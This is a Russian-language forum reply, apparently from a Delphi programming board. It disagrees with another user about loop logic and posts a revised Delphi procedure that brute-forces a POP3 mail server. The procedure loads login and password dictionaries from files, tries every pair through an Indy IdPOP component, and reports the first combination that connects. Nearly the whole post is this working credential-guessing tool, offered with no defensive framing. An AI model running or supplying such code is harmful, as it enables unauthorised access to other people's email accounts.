Позволю себе не согласиться с
san-46. Логически все верно, для каждого логина перебираются возможные варианты пароля из словаря. И лишних итераций вроде быть не должно.
Я бы обернул всю процедуру в try..finally:
Код:
procedure TForm1.Button1Click(Sender: TObject);
var
LoginStrings, PassStrings:TStrings;
i, j:Integer;
begin //Создаем массивы строк
try
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create; //Загружаем варианты — справочники имен и паролей
LoginStrings.LoadFromFile(NameEdit.Text);
PassStrings.LoadFromFile(PassEdit.Text) ; //Устанавливаем адрес и порт сервера
IdPOP.Host := ServerNameEdit.Text;
IdPOP.Port := StrToInt(PortEdit.Text); //Начинаем перебор
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-1 do
begin //Передаем имя и пароль компоненту
IdPOP.Username := LoginStrings.Strings[i];
IdPOP.Password := PassStrings.Strings[j]; //Попытка соединения.
try
IdPOP.Connect;
except
end; //Если соединение установлено, то выводим об этом сообщение
if IdPOP.Connected then
begin //Показываем найденный пароль
Application.MessageBox(PChar('Имя:'+LoginStrings.Strings[i]+
'Пароль:'+PassStrings.Strings[j]), 'Пароль найден');
IdPOP.Disconnect;
Exit;
end;
end; //Уничтожаем массивы строк
finally
LoginStrings.Free;
PassStrings.Free;
end;
end;